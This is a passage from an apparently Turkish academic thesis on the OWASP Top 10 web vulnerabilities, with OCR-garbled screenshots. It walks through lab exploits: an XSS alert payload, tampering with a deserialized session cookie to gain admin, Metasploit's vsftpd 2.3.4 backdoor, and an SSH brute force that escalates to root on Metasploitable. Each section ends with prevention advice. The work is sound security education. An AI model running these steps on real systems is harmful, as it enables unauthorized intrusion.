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kullanicilar1 kétii amagli web sitelerine yonlendirebilir. Ayrica, saldirganlar, depolama
XSS veya yansima XSS gibi yontemler kullanarak, zararli betikleri web
uygulamasinin veri tabaninda saklayabilir veya web uygulamasinin yanitlarinda
bulunan URL'lerde veya veri alanlarinda kodlar1 enjekte edebilirler. Bu yontemler
araciligiyla, XSS zafiyeti kullanilarak web uygulamalari tizerinde ¢esitli kotii amaglar

gercgeklestirilebilir.

Web For Pentester

This exercise is a set of the most common web vulnerabilities

W Follow @Pentesteriab (EEYILEIERY

XSS SQL injections Directory traversal
« Example 1 « Example 1 « Example 1: @
« Example 2 « Example 2 « Example 2: §
« Example 3 « Example 3 + Example 3:
« Example 4 « Example 4
« Example 5 « Example 5
« Example 6 + Example 6
o Example 7 « Example 7
« Example 8 « Example 8
« Example 9 « Example 9

Sekil 2.7. 1: Web For Pentester Ana Meniisii

© /& 192.168.1.47

Sekil 2.7. 2: XSS Zafiyeti (A)

Sekil 2.7.2 (A)’da Gelen HTTP’i kontrol edildiginde “hacker” adinda bir kullanic1 ad1
goziikkmektedir. Payload yazilmasini engelleyecek herhangi bir engel bulunmadigi

bilinmektedir. Daha sonra “name” requestine bir script dizini yazilmistir.

¥ 192.168.1.47

ools <« Kali Docs Kali Forums NetHunter [| Offensive Security Exploit-DB GHDB ]| MSFU

XSS Zafiyeti (B)

Sekil 2.7.2 (B)’de Goriindiigii gibi “<script>alert(1)</script>" payload girildiginde

ekranda “alert” goziikmektedir.
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2.7.2 Siteler Arast Komut Calistirma Zafiyetinin Onlenmesi

Cross Site Scripting (XSS) agiklarmi 6nlemek igin gesitli tedbirler almabilir. Ilk
olarak, kullanici girislerinin dogrulanmasi ve filtrelenmesi gereklidir. Bu, potansiyel
olarak zararli olan HTML etiketleri, JavaScript kodlar1 ve diger tehlikeli unsurlarin
kullanict girislerinden temizlenmesini saglar. Ayrica, web uygulamalarinda giivenlik
duvarlar1 (WAF) kullanilabilir. Giivenlik duvarlari, zararh istekleri tespit ederek
engelleyebilir ve bdylece XSS saldirilarint 6nler. Dogru kodlama uygulamalarinin
benimsenmesi de kritik 6neme sahiptir; 6zellikle kullanici girislerinin giivenli bir
sekilde islenmesi ve sunucuya iletilmesi gerekmektedir. Content Security Policy
(CSP) kullanimt da etkili bir 6nlemdir; CSP, tarayicilarin yiiriitiilebilecek kaynaklari
denetlemesine olanak tanir, bu da XSS saldirilarini1 engelleyebilir. HTTPS kullanima,
iletisimin sifrelenmesini saglayarak saldirganlarin ag iizerindeki verilere erigimini
zorlagtirir. Son olarak, web uygulamalarinin ve kullanilan kiitiiphanelerin glivenlik
giincellestirmelerinin  diizenli olarak izlenmesi ve uygulanmasi onemlidir. Bu
onlemler, XSS agiklarini 6nlemek ve web uygulamalarini daha giivenli hale getirmek

icin etkili bir yol sunar.
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2.8 GUVENLIK DESERIALIZASYON

Giivensiz Deserializasyon (Insecure Deserialization), bir uygulamanin gelen verileri
islerken yeterince giivenlik kontrolleri saglamamasi sonucu ortaya ¢ikan bir giivenlik
acigidir. Deserializasyon, veri nesnelerinin saklanmasi veya iletilmesi i¢in kullanilan
veri bigimlerinden (genellikle JSON veya XML gibi) gercek nesnelere
dontistiiriilmesini saglayan bir islemdir. Saldirganlar, bu islemi kotiiye kullanarak,

uygulamanin giivenlik 6nlemlerini atlayabilir ve cesitli saldirilar gergeklestirebilirler.
Giivensiz deserializasyon saldirilari, genellikle su sekillerde ortaya ¢ikar:

1. Veri Biitiinliigiiniin Bozulmasi: Saldirganlar, gelen verilerde degisiklik
yaparak deserializasyon islemini etkileyebilirler. Bu durum, uygulamanin
istemeden zararli islemler gergeklestirmesine veya yanit olarak gizli bilgileri
ifsa etmesine neden olabilir.

2. Dogrudan Nesne Bagvurusu (Direct Object Reference): Saldirganlar,
deserializasyon siirecinde kontrolsiiz bir sekilde nesneleri olusturarak,
uygulamanin giivenlik kontrollerini atlayabilir ve yetkilendirme onlemlerini
asabilirler. Bu durum, yetkisiz erisim veya diger kotii amacl faaliyetler icin
kullanilabilir.

3. Ydiritiilebilir Kod Enjeksiyonu: Saldirganlar, gelen verilere yiiriitiilebilir kod
parcalar1 ekleyerek, uygulamanin sunucu tarafinda kod c¢alistirmasini
saglayabilirler. Bu, sunucuda istenmeyen islemleri gergeklestirmek veya

saldirganin istedigi kodlar1 ¢alistirmak icin kullanilabilir.

2.8.1 Serilestirme ve Deserializasyon

Serilestirme, bir nesnenin veri akist veya dosya gibi saklama formatlarina
dontstiiriilmesi islemidir. Bu siireg, genellikle veri iletilirken veya depolanirken
nesnenin durumunu ve yapisini belirli bir bicime doniistiiriir. Serilestirme, nesnelerin
ag lizerinden taginmasi veya veri tabaninda saklanmasi gibi durumlarda yaygin olarak

kullanilir.
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Deserilestirme, serilestirme igsleminin tersidir. Yani, bir veri akist veya dosyadan
aliman bilgilerin orijinal nesne formuna doniistiiriilmesidir. Bu islem genellikle,
serilestirme islemi 6ncesindeki nesnenin aynisini olusturur. Deserilestirme, veri akisi
veya dosyadan alinan verilerin, program tarafindan kullanilabilir nesneler haline

getirilmesini saglar.

Serilestirme ve deserializasyon, nesne tabanli programlamada veri tagima, iletisim ve
kalic1 saklama gibi bircok senaryoda kullanilir. Ornegin, bir nesnenin ag iizerinde
baska bir uygulamaya tasinmasi veya bir veri tabaninda saklanmasi i¢in serilestirme
kullanilabilirken, agdan gelen verilerin tekrar nesne formuna doniistiiriilmesi i¢in
deserializasyon kullanilir. Bu islemler, veri biitiinliigiiniin korunmasi1 ve farkh

sistemler arasinda veri aligverisi saglamak icin kritiktir.

2.8.2 Giivensiz Deserializasyon Zafiyetinin Istismari

Bu zafiyetin istismar edilmesi i¢in saldirgan makine olarak Kali Linux kullanilmistir.
Istismar edilebilmesi icin Web Security Academy sunucusu kullanilmistir. Bu zafiyet
icin Web Security Academy wiener kullanici adim1 ve peter parolasinin verildigi
bilinmektedir. Serialization edilmis verileri deserialization islemine tabi tutarak admin

kullanicis1 olunmaya calisilmistir.

Protty IS \n  Acions v

L GET /ny-account HTTP/1.1

2 Host: ac53111d1ed10453805403d700fe00dz web-security-acadeny  net

3 User-Agent: Mozalla/5.0 (XL1; Linux x86 64; rv:78.0] Gecko/20100L01 Firefox/78.0

4 Accept: text /htal, application/xhtal+xnl, application/xal ;o=0.9, 1nage/vebp, */¥;0=0.8

5 Accept -Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: https: //aco311 fdled10453805403d700e00de. web-securaty-acadeny. net /Login

8 Connection: close

9 Cook1e; session=Tz0001JVc2VyTjoyOnt207aBInVZZXJUYWILI;t 203 YBIndpZWSl cil7cz0100 IhZGLpbal Y] ow030%253d
10 Upgrade- Insecure-Requests: 1

Sekil 2.8. 1: Insecure Deserialization Zafiyeti Barindiran Login Sayfas1 Ciktis1

Sekil 2.8.1°de Giris yapildiktan sonra request incelendiginde cookie session bilgisinin

base64 ile encode edildigi goziikmektedir.
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Decode from Base64 format
Simply enter your data then push the decode button

Tzo00iJVc2VyljoyOntzOjg6InVzZXJuYW1IjtzOjY6IndpZWS5Icil 7czo10iJhZG1pbil 7YjowO30%253d

© For encoded binaries (like images, documents, etc.) use the file upload form a littie further down on this page.
UTF-8 _:] Source character set.
Decode each line separately (useful for when you have multiple entries).

@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

< DECODE > Decodes your data into the area below.

O:4:"User™:2:{s:8:"username”;s:6:"wiener”;s:5:"admin”;b:0;}6w

Sekil 2.8. 2: Zafiyeti Barindiran Sitenin Session Bilgisinin Encode Edilmesi

Sekil 2.8.2°de Encode edilen veri decode edilerek oturum bilgisinin serializate edildigi
goziikkmektedir. Admin degiskeni default olarak binary formatta 0 oldugu

gozikmektedir.

Pretty ICETM \n  Actions v

1 GET /admin HTTP/1.1

2 Host: ac531ffdled10453805403df00fe00de, web-security-acadeny . net

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1nage/webp,*/*;q=0.8

5 Accept-Language: en-US,en;g=0.5

6 Accept-Encoding: gzip, deflate

7 Connection: close

8 Referer: https://ac531ffd1ed10453805403df00fe00de, web-security-acadeny . net/my-account

9 Cookie: session=Tzo001JVc2VyIjoyOntz0jg6InVzZXJuYWLlIjtz0jY6IndpZWSl ciI7czo101IhZGlpbiI7Y)ow030%253d
10 Upgrade-Insecure-Requests: 1

Sekil 2.8. 3: Zafiyeti Barindiran Sitenin Admin Girigi Ciktist

Sekil 2.8.3’de Deger 1 yapilarak base64 formatinda encode edildigi goziikmektedir.

#® Modifying serialized objs X —+

&« cC O & web-security-academy.net

o Kali Linux X Kali Training X Kali Tools X Kali Forums < KaliDocs X NetHunter Offensive Security MSFU

Web Security Modifying serialized objects

Academy[4] e

Congratulations, you solved the lab!

Sekil 2.8. 4: Insecure Deserialization Zafiyeti Barindiran Siteye Basarili Giris

Sekil 2.8.4’de Gonderilen request sonucunda admin olarak giris saglanarak zafiyetin

istismar edildigi gosterilmistir.
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2.8.3 Giivensiz Deserializasyon Zafiyetinin Onlenmesi

Giivenli olmayan deserializasyon =zafiyetlerini engellemek ig¢in c¢esitli adimlar
atilabilir. Baslangicta, giivenilir serilestirme ve deserializasyon kiitliphaneleri tercih
edilmelidir. Giivenlik odakli kiitiiphaneler, kotii niyetli verilerin giivenle islenmesini
saglamak icin kritiktir. Ek olarak, giris dogrulama ve yetkilendirme kontrolleri
uygulanmalidir. Gelen veriler titizlikle dogrulanmali ve gereksiz veya potansiyel
tehlikeli verilere izin verilmemelidir. Bu, kotii niyetli verilerin deserializasyon
stirecinde istismar edilmesini Onleyebilir. Veri biitiinliigiiniin saglanmasi da hayati
oneme sahiptir. Gelen verilerin biitiinliigli dogrulanmali ve degistirilmis veya
bozulmus verilerin deserializasyon siirecine tabi tutulmasi engellenmelidir. Ihtiyac
halinde, giivenlik duvarlar1 (WAF) kullanilabilir. WAF'ler, kotii niyetli girislerin tespit
edilmesini ve engellenmesini saglayarak giivensiz deserializasyon saldirilarini
engelleyebilir. Son olarak, giincellemelerin diizenli olarak takip edilmesi ve
uygulanmas1 gereklidir. Serilestirme ve deserializasyon islemlerini yapan
kiitiiphaneler ve bilesenler, giivenlik gilincellestirmeleriyle diizenli olarak

giincellenmelidir.
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2.9 BILINEN GUVENLIK ACIGINA SAHIP
BILESENLERI

Giintimiizde siirekli kullanicilari zora sokan siber giivenlik agiklar1 ortaya ¢cikmaktadir.
Bu tehditlerin ¢ogu, daha oOnce savunmasiz oldugu bilinen veya zamaninda
uygulanmayan giincellemeler nedeniyle daha sonra savunmasiz hale gelen kiitiiphane
ve framework gibi bilesenlerin kullanilmasi gibi durumlar yiiziinden bu zafiyetler
dogmaktadir. Saldirganlar, kusurlari bulmak i¢in basitce otomatik tarama araglarini
kullanabilir veya uygulamanin manuel analizini yapabilir ve belirli bir uygulamanin
daha once savunmasiz bulunan bir bileseni kullandigini bulabilirlerse, bu giivenlik
acigindan kolayca yararlanmaya c¢alisabilirler. Genellikle bagimliliklar1 bulmak i¢in
bilinen html 6gelerini kontrol etme, hatalar1 tetikleme, zorunlu tarama vb. gibi parmak

1z1 yontemlerini kullanir.

2.9.1 Bilinen Giivenlik Acig1 Zafiyeti Istismari

Nmap scan report for 192.168.1.47

Host is up (0.00010s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl1 Debian 8S8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login OpenBSD or Solaris rlogind

514/tcp open tcpwrapped

1099/tcp open Jjava-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresgl PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vncC VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Sekil 2.9. 1: Zafiyetin Terminalde Bulunmas1 (A)

Sekil 2.9.1 (A)’da bir “nmap” taramasi uygulanmaktadir. “Nmap” ag tarama ve zafiyet

tespiti i¢in kullanilan acik kaynakli bir aragtir.
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msfe6 > search vsfipd

Matching Modules

Name Disclosure Date Rank
Descraiption

® exploit/unix/ftp/Neftpd_234_backdoor 2011-07-03
NSETPE v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example

<name | term|index>
Interact with a module by name or search term/index.
If a module name is not found, it will be treated as a search term.

An index from the previous search results can be selected 1f desired.

Examples:
use exploit/windows/smb/ms17_010_eternalblue

use eternalblue

use «.n.\m(‘| 1Nndex>

search L‘[t‘l'”-llhlll('
use <name|index>

msté > mst6 >

Zafiyetin Terminalde Bulunmasi (B)

msf6 exploit( ) > set RHOSTS 192.168.1.47
RHOSTS = 192.168.1.47
msf6 exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
RHOSTS 192.168.1.47 yes The target host(s), range CIDR identi
fier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:

Id Name

Automatic

Zafiyetin Terminalde Bulunmasi (C)

Sekil 2.9.1 (B) ve Sekil 2.9.1 (C)’de FTP servisinde c¢alisan “vsftpd” i¢in bir arama
yapildig1 goziikkmektedir. Gerekli modiiliin se¢imi yapilmaktadir. Exploit isleminden

sonra backdoor olugsmaktadir.
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2.9.2 Bilinen Giivenlik Acig1 Zafiyeti Onlenmesi

Bilesenlerde bilinen giivenlik agiklarinin kullanilmasi zafiyetini 6nlemek i¢in birtakim
stratejiler izlenebilir. Ilk olarak, periyodik giivenlik incelemeleri yapilmalidir. Bu
incelemeler, kullanilan bilesenlerin ve kiitiiphanelerin giivenlik agiklari i¢in taranmasi
ve analiz edilmesini igerir. Giivenilir kaynaklardan yazilim temini de Onemlidir.
Bilesenlerin giivenilir kaynaklardan elde edilmesi veya indirilmesi, giivenlik
aciklarinin azaltilmasina yardimei olabilir. Ayrica, gilivenlik giincellemelerinin diizenli
olarak izlenmesi de kritiktir. Kullanilan bilesenlerin ve kiitiiphanelerin giincel olup
olmadig1 takip edilmeli ve giivenlik giincellemeleri hizl1 bir sekilde uygulanmalidir.
Minimal ve gereksiz bilesen kullanimi1 da hayati 6neme sahiptir. Yalnizca gereksinim
duyulan bilesenlerin tercih edilmesi, saldir1 yiizeyini azaltabilir. Otomatik gilivenlik
denetimlerinin kullanilmasi, bilesenlerin giivenlik agiklarinin otomatik olarak tespit
edilmesine ve degerlendirilmesine yardimci olabilir. Bilesenlerin kaynaginin
dogrulanmasi da  Onemlidir.  Giivenilirligi  dogrulanmamis  bilesenlerin
kullanilmasindan kaginilmali ve kaynak kodlar titizlikle incelenerek giivenilirlikleri
kontrol edilmelidir. Son olarak, kullanilan bilesenlerin giivenlik politikalar ile uyumlu
olmast saglanmalidir. Bu Onlemler, bilesenlerde bilinen giivenlik agiklarinin

kullanilmasi zafiyetini azaltabilir ve uygulamanin giivenlik seviyesini artirabilir.
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2.10 YETERSIZ LOGLAMA ve
[ZL. EME

Yetersiz Loglama ve izleme (Insufficient Logging & Monitoring), bir uygulama veya
sistemlerin, olast giivenlik olaylarim1 belirleme ve bu olaylara miidahale etme
konusunda yetersiz loglama ve izleme sistemleriyle karsilasmasi anlamina gelir. Bu
durumda, ilgili uygulama veya sistem, saldir1 girisimlerini, hatalar1 veya diger
giivenlik olaylarimi belirlemek i¢in gereken loglama ve izleme mekanizmalarina sahip

degildir veya mevcut olanlar yeterli degildir.

Yetersiz loglama, uygulama veya sistemdeki olaylarin yeterince kaydedilmemesi veya
gerekli bilgilerin loglara kaydedilmemesi durumunu ifade eder. Bu durumda,
potansiyel saldirilar veya hatalarin kokenleri geriye doniik olarak aragtirilamaz veya
belirlenemez. Izleme eksikligi ise, uygulama veya sistemdeki etkinliklerin gercek
zamanl olarak izlenmemesi veya izlenen etkinliklerin yeterince detayli bir sekilde
incelenmemesi durumunu ifade eder. Bu durumda, saldirilar veya diger gilivenlik

olaylar1 hizl1 bir sekilde tespit edilemez ve bu olaylara miidahale edilemez.

2.10.1 Kaba Kuvvet Saldirisi

Kaba kuvvet saldiris1 (Brute Force Attack), genellikle giris bilgilerini kirma amaciyla
yapilan bir siber saldir1 tiirtidiir, ki bu genellikle kullanic1 ad1 ve parola gibi kimlik
bilgilerini igerir. Bu saldirida, saldirgan, bir hizmete veya oturum agma sayfasina
erismek i¢in otomatik bir program veya yazilim araciligiyla kullanici ad1 ve parola gibi

giris bilgilerini siirekli olarak denemeye ¢alisir.

Bu saldirilar c¢ogunlukla bir saldirganin sisteme erisim elde etmeye c¢alistig
zamanlarda gerceklesir, bu siiregte genis bir parola listesini veya rastgele parolalari
otomatik olarak denemek yaygindir. Saldirganlar, oturum agma formlarini veya giris
sayfalarin1 hedef alarak, siirekli olarak farkli kullanici adi ve parola kombinasyonlarini
deneyerek sisteme erismeye c¢alisir. Bu tiir saldirilar, zaman alic1 olabilir ancak
kullanilan parola zayifsa veya saldirgan yeterince kaynak saglayabiliyorsa etkili

olabilir. Giiglii parola politikalari, ¢oklu oturum denemesi engellemesi ve ikinci faktor
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dogrulama gibi Onlemler, kaba kuvvet saldirilarinin etkinligini azaltabilir veya

Onleyebilir.

2.10.2  Yetersiz Loglama ve Izleme Istismari

Asagidaki uygulamada saldirgan makine olarak Kali Linux ve istismar edilen makine

olarak metasploitable-2 kullanildig: bilinmektedir.

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using —systen-dns or specify valid servers with —dns-servers
Amap scan report for 192,168,56,104

Host 15 up (0.00027s latency).

Not shown: 977 closed ports

PORT ~ STATE SERVICE  VERSION

2/tep  open ftp vsftpd 2,3.4

2/tcp  open ssh OpenSSH 4,7p1 Debian Subuntul (protocol 2.0)
/tcp open telnet  Linux telnetd

Sekil 2.10. 1: Zafiyeti Barindiran Makinenin Nmap Ciktis1

Sekil 2.10.1°de Zafiyetli makinede Nmap taramasi gerceklestirildigi goziikmektedir.
Nmap c¢iktisinda SSH servisinin c¢alismakta oldugu ve portunun acik oldugu
goziikmektedir. SSH i¢in Brute Force atak saldirisin1 denendigi varsayilmaktadir ve

Metasploit Framework kullanildig1 bilinmektedir.

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description
BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from @ to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>
RPORT 22 yes The target port

STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE false yes Whether to print output for all attempts

msf6 auxiliary( ) > set RHOSTS 192.168.56.104
RHOSTS = 192.168.56.104
msf6 auxiliary( ) > set USERPASS_FILE /user/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE = /user/share/metasploit-framework/data/wordlists/root_userpass.txt
msf6 auxiliary( ) > exploit
Auxiliary failed: Msf::OptionValidateError One or more options failed to validate: USERPASS_FILE
msf6 auxiliary( ) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE = /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

Sekil 2.10. 2: Zafiyeti Barindiran Makinenin Bilgilerin Set Edilmesi

Sekil 2.10.2°de Brute Force atagi yapilirken auxiliary/scanner/ssh/ssh _login modiilii
kullanildig1 goziikmektedir. Modiiliin basarili olabilmesi i¢in zafiyetli makinenin ip
adresi ve Brute Force atagi yapilirken Metasploit Framework ile birlikte gelen

root_userpass.txt wordlist dizininin set edildigi bilinmektedir.
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nsf6 auxiliary( ) > exploit

192.168.56,104:22 - Starting bruteforce
[+] 192.168.56.104:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadnin) gid=1000(msfadnin) groups=t(adn),20(dialout),24(cdrom),25(floppy),29(audio),30(dip)
L(video), 46(plugdev), 107(fuse), 111(1padnin), 112(adnin), 119(sanbashare), 1000(msfadnin) Linux metasploitable 2.6.24-16-server #1 SHP Thu Apr 10 13:58:00 UTC 2
008 1686 GNU/L1nux '

Command shell session 3 opened (192.168.56.,102:40315 - 192,168,56.104:22) at 2021-06-02 22:50:59 -0400
sessions -1 3

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msfb auxiliary( ) > sessions -1 3

Starting interaction with 3..

sudo -5
[sudo] password for msfadnin: msfadnin
1d
uid=0(root) gid=0(root) groups=0(root)
Sekil 2.10. 3: Zafiyetli Makinenin Somiiriilmesi

Sekil 2.10.3’de Exploit edilerek brute force saldirisinin basarili oldugu géziikmektedir.
Kullanic1 ad1 ve parolayr msfadmin olarak bulundugu goéziikmektedir. Log kaydinin

tutulmamasi, 6nlem alinmamasi ve izlenmemesi bu zafiyeti sebep olmustur.

2.10.3  Yetersiz Loglama ve Izlemenin Onlenmesi

Yetersiz Giinliikleme ve Izleme (Insufficient Logging & Monitoring) énlenmesi igin
cesitli tedbirler aliabilir. 11k olarak, giivenlik olaylarini tespit etmek igin kapsamli bir
giinliikleme stratejisi benimsenmelidir. Uygulama veya sistemde meydana gelen
onemli olaylar, detayli bir sekilde kaydedilmelidir. Bu, olaylarin ge¢gmise yonelik
olarak incelenmesini ve muhtemel giivenlik ihlallerinin tanimlanmasini miimkiin kilar.
Ayrica, ger¢ek zamanl izleme ve uyari mekanizmalar1 olusturulmalidir. Sistemdeki
anormallikler veya potansiyel giivenlik tehditleri, izleme sistemleri tarafindan siirekli
olarak takip edilmeli ve uygun kisilere veya sistem yoneticilerine bildirilmelidir. Bu
sayede, olas1 saldirilar hizli bir sekilde tespit edilip cevaplanabilir. Giivenlik olaylarin
izlemek icin otomatik araclar veya yazilimlar kullanilabilir. Bu araclar, belirlenen
giivenlik politikalarina uygun olarak giinliikleri inceleyebilir ve anormal aktiviteleri
tanimlayabilir. Bir diger onemli adim ise, gilinlik verilerinin giivenli bir sekilde
saklanmast ve korunmasidir. Giinliik verileri, izinsiz erisime karsi korunmali ve
gerektiginde dogrulanabilir olmalidir. Bu, gilinliik verilerinin biitiinliglinii ve
giivenilirligini saglar. Giinliikleme ve izleme siiregleri diizenli olarak gdzden
gecirilmeli ve gelistirilmelidir. Teknolojik ilerlemeler ve giivenlik tehditlerindeki
degisiklikler dikkate alinarak, giinlikleme ve izleme stratejileri periyodik olarak

giincellenmelidir.
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3 SONUC

Bu arastirmada, kullanicinin gelen verileri giivenli bir sekilde kontrol etmemesi
nedeniyle zafiyetlerin ortaya ¢iktig1 belirlenmistir. Injection, Broken Authentication,
Sensitive Data Exposure, XML External Entity, Broken Access Control, Security
Misconfiguration, Cross Site Scripting, Insecure Deserialization, Using Components
with Known Vulnerabilities ve Insufficient Logging and Monitoring gibi cesitli
zafiyetlerin tespit edilmis olmasi, bu durumun ciddiyetini artirmaktadir. Verilerin kotii
niyetli kisilerin eline ge¢mesiyle ciddi sonuglara yol agabilecegi vurgulanmustir.
Ozellikle, Sensitive Data Exposure gibi zafiyetlerin, hassas verilerin yetkisiz kisiler
tarafindan ele gegirilmesine neden olabilecegi belirlenmistir. Verilerin kot niyetli
kisilere ulagsmasini engellemek i¢in alinacak tedbirler iizerinde durulmus ve bu
tedbirlerin uygulanmistir. Bu tedbirlerde Broken Authentication ve Broken Access
Control gibi zafiyetlerin Onlenmesine odaklanmigtir. Arastirma sonuglari, bu
tedbirlerin etkili oldugunu ve saldirganlarin yontem ve yaklasimlariin sisteme olan

etkisinin azaldigini gostermektedir.

Tablo 1: OWASP Top 10 Zafiyet Puanlamasi

ZAFIYET PUAN
Injection 8.0
Broken Authentication 7.0
Sensitive Data Exposure 7.0
XML External Entity 7.0
Broken Access Control 6.0
Security Misconfiguration 6.0
Cross Site Scripting 6.0
Insecure Deserialization 5.0
Using Component§ .vs./ith Known 47

Vulnerabilities

Insufficient Logging and Monitoring 4.0
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Tablo 1’de bu zafiyetlerin tespit edilmesi ve arastirilmasi siirecinde dnem sirasinda
gore OWASP tarafindan yapilan puanlama sistemi goziikmektedir. Arastirma
stirecinde, ilgili zafiyetlerin neden oldugu teknolojiler iizerinde derinlemesine bir
inceleme yapilmistir. Bu siirecte, veri tabani sistemleri, SQL sorgulari, XML, Samba,
JavaScript, PHP, serilestirme islemleri, Burp Suite gibi web uygulama giivenliginde
onemli araglar ve Linux komutlar1 gibi bir¢ok teknolojiye odaklanilmistir. Ozellikle,
XML External Entity ve Insecure Deserialization gibi zafiyetlerin teknik detaylari
incelenmistir. Web uygulama gilivenliginin saglanmasi i¢in bu cesitli sistem ve
teknolojilerin  6grenilmesinin gerekliligi vurgulanmigtir. Arastirma, bu siirecte

kriptoloji gibi konularin da 6nemini ortaya koymustur.

Sonug olarak, yapilan arastirma zafiyetlerin tespiti ve Onlenmesi ic¢in alinacak
Oonlemlerle ilgili 6nemli bulgular sunmustur. Bu bulgular, giivenlik aciklarinin
kapatilmas1 ve web uygulamalarinin daha giivenli hale getirilmesi igin yol gosterici
olacaktir. Injection, Broken Authentication, Sensitive Data Exposure, XML External
Entity, Broken Access Control, Security Misconfiguration, Cross Site Scripting,
Insecure Deserialization, Using Components With Known Vulnerabilities ve
Insufficient Logging and Monitoring gibi zafiyetlerin onlenmesi icin alinacak
onlemlerin 6nemi vurgulanmalidir. Bu onlemler, siber giivenlikte daha saglam bir

zemin olusturarak saldirganlarin etkisini azaltabilir.

48



4 KAYNAKCA

Altundas, A. (2022). Kali Linux (19.Baski). Inkilap Kitapevi Yaymevi.
Aslanbakan, E. (2019). Bilgi Giivenligi ve Hacking. Pusula Yayievi.
Biilbiil, 1., Bingél, P. E. (2017). Etik Hackerliga Giris. Hayy Kitap Yayinevi.

Bingol, P. E., Biilbiil, 1., Eren, V. (2018). Etik Hackerliga Giris 2. Hayy Kitap

Yayinevi.

Citak, O. (2020). Ethical Hacking Offensive & Defensive (19.Baski). Abakiis

Yaymevi.

Eren, V., Komut, A., Cakir. Y. C. (2020). Uygulamali Siber Giivenlik ve Sizma Testi
Egitimleri. Hayy Kitap Yayevi.

Ertugrul, ilker. (2020). Ofansif ve Defansif Siber Giivenlik. Dikeyeksen Yayinevi.
Friedman, A., Singer, P. W. (2015). Siber Giivenlik ve Siber Savas. Buzdag1 Yayinevi.
Giirel, A. (2023). Siber Giivenlik. Dikeyeksen Yayinevi.

Ozkaya, E. (2020). Siber Giivenlik: Saldiri ve Savunma Stratejileri. Buzdag: Yayinevi.
Pekel, A. (2023). Siber Giivenlik Yénetimi. ODTU Yayincilik.

Samancioglu, A. (2020). Python Sifirdan Uzmanliga Programlama. Unikod Yayinevi.

Trim, P. (2023). Stratejik Siber Giivenlik Yontemi. Nobel Akademik Yayincilik.

49



	Öz
	Abstract
	Teşekkür
	İçindekiler
	Şekiller Listesi
	Tablolar Listesi
	Kısaltmalar Listesi
	1 GİRİŞ
	2.1 ENJEKSİYON
	2.1.1 SQL Enjeksiyon
	2.1.2 Komut Enjeksiyon
	2.1.2.1 Komut Enjeksiyon Karakter Kullanımı
	2.1.2.2 Komut Enjeksiyon Zafiyetinin Önlenmesi


	2.2 BOZUK KİMLİK DOĞRULAMA
	2.2.1 Kimlik Doğrulaması
	2.2.2 Kimlik Doğrulama Zafiyetinin Oluşması
	2.2.3 Kimlik Doğrulama Zafiyetinin İstismar Edilmesi
	2.2.3 Kimlik Doğrulama Zafiyetinin Önlenmesi

	2.3 HASSAS VERİ SERGİLENMESİ
	2.3.1 Hassas Veri Zafiyetinin İstismar Edilmesi
	2.3.2 Hassas Veri Zafiyetinin Önlenmesi

	2.4 XML HARİCİ VARLIK
	2.4.1 Genişletilebilir İşaretleme Dili
	2.4.2 Belge Türü
	2.4.3 Belge Türü Tanımı
	2.4.4 Varlık
	2.4.5 XXE Zafiyetinin Oluşması ve İstismar Edilmesi
	2.4.5 XXE Zafiyetinin Önlenmesi

	2.5 KIRIK ERİŞİM KONTROLÜ
	2.5.1 Kırık Erişim Kontrolü Zafiyetinin Oluşması
	2.5.2 Kırık Erişim Kontrolü Zafiyetinin İstismarı
	2.5.3 Kırık Erişim Kontrolü Zafiyetinin Önlenmesi

	2.6 GÜVENLİK YANLIŞ YAPILANDIRMASI
	2.6.1 Samba
	2.6.2 Güvenlik Yanlış Yapılandırma Zafiyetinin Oluşması
	2.6.3 Güvenlik Yanlış Yapılandırma Zafiyetinin İstismarı
	2.6.4 Güvenlik Yanlış Yapılandırma Zafiyeti Önlenmesi

	2.7 SİTELER ARASI KOMUT ÇALIŞTIRMA
